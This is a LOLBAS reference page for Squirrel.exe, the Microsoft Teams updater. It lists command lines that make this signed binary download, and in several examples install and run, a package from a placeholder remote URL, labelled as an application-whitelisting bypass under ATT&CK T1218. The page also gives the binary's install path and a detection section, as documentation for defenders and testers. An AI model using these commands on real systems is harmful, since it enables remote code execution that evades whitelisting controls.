LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

Squirrel.exe

View source

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

DownloadAWL BypassExecute
05COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

5 examples

Download1

EXAMPLE 01T1218

The above binary will go to url and look for RELEASES file and download the nuget package.

COMMAND
squirrel.exe --download {REMOTEURL}
USE CASE
Download binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed

AWL Bypass2

EXAMPLE 01T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package.

COMMAND
squirrel.exe --update {REMOTEURL}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
EXAMPLE 02T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package.

COMMAND
squirrel.exe --updateRollback={REMOTEURL}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote

Execute2

EXAMPLE 01T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package.

COMMAND
squirrel.exe --update {REMOTEURL}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
EXAMPLE 02T1218

The above binary will go to url and look for RELEASES file, download and install the nuget package.

COMMAND
squirrel.exe --updateRollback={REMOTEURL}
USE CASE
Download and execute binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 7 and up with Microsoft Teams installed
Execute · NugetExecute · Remote
02 / ON DISK

Known paths

C:\Users\<username>\AppData\Local\Microsoft\Teams\current\Squirrel.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Reegun J (OCBC Bank)@reegun21
Adam@Hexacorn